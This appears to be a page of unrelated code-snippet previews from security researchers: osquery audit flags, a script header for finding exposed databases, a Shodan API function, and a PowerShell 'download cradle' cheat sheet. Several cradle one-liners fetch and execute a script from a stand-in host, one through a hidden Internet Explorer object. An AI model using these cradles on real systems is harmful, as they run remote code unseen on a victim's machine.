D00MFist

--allow_unsafe
--audit_allow_config=true
--audit_allow_sockets=true
--audit_persist=true
--disable_audit=false
--events_expiry=1
--events_max=50000
--logger_plugin=filesystem
--disable_events=false
--config_path=/var/osquery/osquery.conf

n0x08

#!/usr/bin/env python
# findPwnedDB.py
#
# Last update: 1/13/2020
#
# Added: 
#       CassandraDB support
#       Additional DBs
#       Docker XMR mining flags (Thanks Unit42!)
#       https://unit42.paloaltonetworks.com/graboid-first-ever-cryptojacking-worm-found-in-images-on-docker-hub/

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

achillean

/**
 * Search the Shodan database using the given query. Returns the number of matches.
 */
function SHODAN(query) {
  var API_KEY = 'YOUR API KEY';
  
  var url = 'http://www.shodanhq.com/api/count?key=' + API_KEY + '&q=' + query;
  var response = UrlFetchApp.fetch(url);
  var data = Utilities.jsonParse(response.getContentText());